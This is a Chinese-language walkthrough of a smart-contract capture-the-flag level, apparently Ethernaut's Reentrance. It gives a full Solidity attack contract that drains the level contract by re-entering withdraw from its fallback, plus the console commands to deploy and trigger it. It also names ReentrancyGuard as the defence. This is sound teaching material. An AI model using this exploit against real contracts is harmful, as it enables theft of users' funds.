Re-entrancy attack可以說是其中一種最常見的攻擊了,引起過巨額的損失,連DeFi界龍頭UniSwap在V1的階段都曾有此漏洞。這裏就介紹了Uniswap在V1時可如何受到Re-entrancy attack的攻擊。
要防止Re-entrancy attack,最簡單的方法是使用OpenZeppelin的ReentrancyGuard
庫。
首先打開Console (F12),輸入
> instance
下方會回傳當前關卡合約地址。
然後打開Remix IDE,新建檔案Reentrance.sol貼上:
pragma solidity ^0.8.0;
interface IReentrance {
function withdraw(uint256 _amount) external;
}
contract Reentrance {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}
在constructor填入關卡合約地址後發佈。
由於要觸發withdraw首先要呼叫donate函數把以太幣存入攻擊合約名下,回到Console,輸入
> contract.donate("攻擊合約地址", {value: toWei("0.5")})
存入完成後回到Remix IDE,呼叫claim函數,填入參數500000000000000000 (0.5 ether)。最後按提交,本關完成。